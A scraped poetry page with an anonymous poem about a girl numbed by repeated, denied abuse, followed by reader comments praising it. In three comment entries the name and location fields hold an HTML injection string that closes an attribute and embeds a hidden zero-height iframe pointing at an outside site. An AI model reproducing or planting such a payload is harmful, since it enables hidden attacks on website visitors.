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Wishing for Amnesia MAG

April 7, 2008
By Anonymous

Memories marred by the attempts to delete them,
She doesn’t know what really happened anymore.
The Incident becomes incidents become “it happens all the time.”
Now all she knows
Is that it happens all the time.

Denial becomes excuses becomes I’m sorrys and
“What do you want me to do?”
It’s too late. She’s already afraid.

Afraid to be pitied,
She clutches her teddy bear, swallows her tears
And allows them to read her a story.

© Anonymous

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B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe> said...
on Dec. 14 2017 at 3:01 am
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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Wow,I love this so much and it's relateable. Beautiful writing :)
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe> said...
on Dec. 14 2017 at 2:45 am
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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really is an amazing poem
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe> said...
on Nov. 22 2017 at 9:26 pm
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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I loved your poem.deep and emotional
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A magician shouldn't reveal their secrets :)
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I agree with day_dreamer. It's deep and emotional, yet short and simple.
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i wish there was an authors comment to really allow readers to understand
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on Oct. 9 2012 at 2:27 pm
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Very good.  Good title.  Consider removing the line "Is that it happens all the time" it is a repeat of what is already been said and the repetition doesn't add much  and isn't a theme throughout so it is not necessary.  I love the flow of this and the format of each stanza.
day_dreamer_ SILVER said...
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Very deep, yet subtle and simple. <3
casperwatson PLATINUM said...
on Sep. 17 2012 at 11:17 am
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I think everyone can relate to this. Keep on writing. You have a gift.
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on May. 8 2012 at 7:33 am
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So relatable you did amazing with this piece I'm looking forward to reading more of your stuff. this is really touching and just all around I loved it. If you can, take a look at some of my work please:)

Great job never stop writing!!!

Jaycee92 PLATINUM said...
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Very touching. I feel for you. <3 :)
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amazing<3
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wow. i can personally relate this... you put into words my exact thoughts.

 

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This poem touched me personally, and I love poems that do that. Your writing is honest and simply beautiful.
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Wonderful. It feels like you captured a little part of me in this poem.
Fia-fia BRONZE said...
on Jan. 19 2012 at 8:12 pm
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Wow.... so clear and brilliant. This is great! Not quite amnesia, but something in between. ironically, prob most people r such but no one recognizes or accepts. Fantastic! Thank you! :)
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wow i hav gone through this this is excellent u have a gift never give it up
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First though: Has she been spying on me!? Second thought: I think I'm going to cry now. If you can think of word that means painfully beautiful I will use it to describe this work of art.
vazenitran98 said...
on Dec. 28 2011 at 7:56 pm
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Touched me somewhere deep inside.